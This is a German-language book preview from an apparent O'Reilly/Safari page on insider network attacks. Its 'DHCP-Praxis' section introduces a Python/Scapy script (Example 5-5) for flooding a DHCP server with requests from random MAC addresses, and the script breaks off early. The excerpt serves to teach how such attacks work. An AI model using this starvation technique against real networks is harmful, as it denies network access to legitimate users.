O'Reilly logo

Netzwerkangriffe von innen by Paul Sebastian Ziegler

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

DHCP-Praxis

In diesem Abschnitt verwenden wir wie gewohnt das Python-Modul Scapy, um die Theorie in die Praxis umzusetzen. Da DHCP uns zwei verschiedene Vektoren bietet, werden wir auch zwei unterschiedliche Skripten erstellen.

Der einfachere von beiden Angriffen ist das Flooden[27] des DHCP-Servers. Dazu müssen lediglich Anfragen mit frei erfundenen MAC-Adressen generiert werden.

Beispiel 5-5. DHCP Discover Flooding-Skript

from scapy import * from sys import argv from sys import exit # Überprüfe die Kommandozeilenparameter if len(argv) != 3 or (argv[2] != "discover" and argv[2] != "request"): print "Usage:\n\tdhcp.py [number of packets] [discover/request]" exit(0) x = 0 while x < int(argv[1]): x += 1 # Generieren einer zufälligen MAC tmp_mac = RandMAC() ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required